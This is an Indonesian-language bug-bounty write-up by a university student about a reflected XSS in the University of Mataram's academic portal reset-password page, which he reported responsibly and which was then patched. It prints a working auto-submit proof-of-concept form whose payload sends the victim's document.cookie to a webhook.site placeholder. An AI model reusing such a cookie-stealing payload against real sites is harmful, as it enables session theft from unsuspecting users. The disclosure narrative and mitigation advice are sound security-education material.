> KEVIN ADIWIGUNA_
[PUBLISHED]
Jul 29, 2026
1 MIN_READ
80 VIEWS

Dari Coba-Coba Injeksi Payload XSS di SIA UNRAM Sampai Diberi Apresiasi Resmi_

Berawal dari rasa penasaran mencoba menguji keamanan sistem SIA UNRAM, eksperimen payload XSS ini malah membawa saya menemukan arsitektur SSO yang unik—hingga mendapatkan sertifikat apresiasi resmi dari CSIRT

> CATEGORIES
CyberSecurity
> TAGS
#XSS#POC
Dari Coba-Coba Injeksi Payload XSS di SIA UNRAM Sampai Diberi Apresiasi Resmi

Sengaja 'Nge-hack' Website Kampus Sendiri, Malah Dapet Sertifikat dari CSIRT UNRAM

⚠️ Disclaimer: > Pengujian keamanan ini dilakukan secara bertanggung jawab (*responsible disclosure*). Celah keamanan yang dibahas dalam artikel ini telah diperbaiki sepenuhnya oleh tim IT/CSIRT Universitas Mataram sebelum artikel ini diterbitkan. Tidak ada data pengguna yang disalahgunakan atau dirusak selama proses pengujian.

1. Berawal dari "Iseng" di Tengah Malam

Sebagai mahasiswa Universitas Mataram, sia.unram.ac.id dan berajah-unram.ac.id adalah dua situs yang hampir setiap hari saya buka. Tapi malam itu, rasa penasaran saya sebagai pengembang web mendadak kumat. Saya tidak sedang ingin mengisi KRS atau mengecek nilai, melainkan bertanya-tanya: Seberapa kokoh sebenarnya benteng keamanan di balik sistem utama kampus saya sendiri? Bukannya langsung menyerang, saya memulai dari hal yang paling mendasar: melakukan reverse engineering pada alur autentikasi (*login flow*). Saya hanya ingin paham bagaimana data dipertukarkan di balik layar. Namun, pencarian itu membawa saya ke halaman yang tak terduga: /index.php/reset-password.

2. Detik-Detik Menemukan Celah yang Tersembunyi

Pada tanggal 14 Juli, saat menganalisis elemen-elemen di halaman reset password, mata saya tertuju pada satu baris kode HTML yang tampaknya sepele. Sebuah parameter tersembunyi (*hidden input*) bernama _fp:

<input type="hidden" name="_fp" value="33083de6">

Apa Sebenarnya Fungsi Parameter _fp Ini?

Secara umum, parameter _fp (Fingerprint / Form Protection) dirancang untuk dua hal:

  1. Device/Session Fingerprinting: Mengenali karakteristik unik dari browser pengguna.

  2. CSRF Token: Mencegah serangan Cross-Site Request Forgery dengan mencocokkan hash acak.

3. Proof of Concept: Saat Skrip Mulai Bekerja

Untuk menguji apakah celah ini benar-benar valid dan bisa mengeksekusi perintah secara otomatis, saya membuat sebuah form HTML (auto-submit) sederhana. Tujuannya adalah menyuntikkan payload XSS yang akan mencoba mengirimkan cookie pengguna ke server pengujian (exfiltration test):

<!doctype html>
<html lang="id">
    <head>
        <meta charset="UTF-8" />
        <title>Validasi PoC Reflected XSS</title>
    </head>
    <body>
        <form id="xssTargetForm" action="[https://sia.unram.ac.id/index.php/reset-password](https://sia.unram.ac.id/index.php/reset-password)" method="POST">
            <input type="hidden" name="username" value="user_audit" />
            <input type="hidden" name="email" value="audit@unram.ac.id" />

            <!-- Payload Reflected XSS Exfiltration -->
            <input type="hidden" name="_fp" value='"><sCrIpT>new Image().src="[https://webhook.site/YOUR-WEBHOOK-ID?c=](https://webhook.site/YOUR-WEBHOOK-ID?c=)"+encodeURIComponent(document.cookie)</sCrIpT><!--' />
        </form>

        <script>
            document.getElementById("xssTargetForm").submit();
        </script>
    </body>
</html>

Berikut adalah momen rekaman layar saat saya pertama kali berhasil membuktikan bahwa celah ini benar-benar live dan tereksekusi sempurna:

Rekaman Pertama kali ketemu

4. Plot Twist: Kenapa 'Cookie Stealer' Saya Malah Gagal?

Setelah XSS berhasil tereksekusi, saya melangkah ke tahap berikutnya: Uji Dampak Risiko (Impact Analysis).

Melihat cookie pada sia.unram.ac.id belum dilengkapi dengan flag HttpOnly, saya pikir mengambil alih sesi akun (Account Takeover) akan sangat mudah lewat document.cookie. Saya pun mencuri cookie tersebut, lalu memasangkannya di browser lain menggunakan mode Incognito.

Hasilnya? Akses tetap ditolak.

Di sinilah saya menyadari sesuatu yang sangat menarik tentang arsitektur keamanan UNRAM. Kampus ini ternyata menerapkan sistem Single Sign-On (SSO) Multi-Domain yang memisahkan antara sia.unram.ac.id dan sso.unram.ac.id.

Sesi yang valid membutuhkan token autentikasi silang dari kedua domain tersebut. Dan berdasarkan aturan ketat Same-Origin Policy (SOP) pada web browser, eksekusi XSS di domain SIA tidak memiliki akses sedikit pun untuk mencuri cookie yang tersimpan di domain SSO. Sebuah defense-in-depth yang sangat rapi dari tim pengembang kampus!

5. Menempuh Jalan Etis (Responsible Disclosure)

Meskipun dampak account takeover tertahan oleh arsitektur SSO, celah Reflected XSS tetaplah sebuah kerentanan berbahaya jika dimanfaatkan pihak yang tidak bertanggung jawab (misal untuk phishing atau defacement).

Sebagai mahasiswa yang baik, saya memilih jalur Responsible Disclosure:

  • 14 Juli: Celah berhasil ditemukan dan didokumentasikan.

  • 23 Juli (19:18): Setelah merapikan seluruh detail teknis, langkah reproduksi, dan saran mitigasi, saya mengirimkan laporan lengkap ke email resmi CSIRT UNRAM.

  • 25 Juli (11:44): Hanya butuh waktu kurang dari 48 jam kerja, tim CSIRT UNRAM membalas email saya! Mereka mengonfirmasi bahwa celah telah ditutup (patched) dengan menerapkan batasan render HTML pada input pengguna.

Bonusnya? Pihak kampus memberikan apresiasi resmi dalam bentuk sertifikat Bug Bounty.

6. Pembelajaran & Mitigasi Teknis

Dari eksperimen ini, ada beberapa poin penting yang bisa dipetik oleh para pengembang web agar terhindar dari celah serupa:

  1. Output Encoding adalah Kunci: Selalu gunakan HTML entity encoding pada semua input pengguna yang akan dirender kembali ke layar, terutama pada tag-tag tersembunyi.

  2. Kunci Cookie Anda: Pasang atribut HttpOnly pada cookie sesi agar tidak bisa diintip oleh skrip jahat via JavaScript.

  3. Perketat dengan CSP: Menerapkan header Content Security Policy (CSP) untuk memblokir eksekusi skrip asing atau koneksi ke domain tak dikenal secara otomatis.

7. Penutup

Pengalaman ini membuktikan bahwa rasa penasaran yang diarahkan ke jalur yang tepat tidak hanya menambah wawasan teknis, tapi juga membawa dampak positif bagi keamanan bersama. Terima kasih banyak kepada tim CSIRT Universitas Mataram atas respons yang sangat cepat, kooperatif, dan profesional.

Bukti sertifikat apresiasi resmi dapat diakses melalui tautan di bawah ini:

📄 Download Sertifikat Apresiasi CSIRT UNRAM (PDF)

Command Palette

Search for a command to run...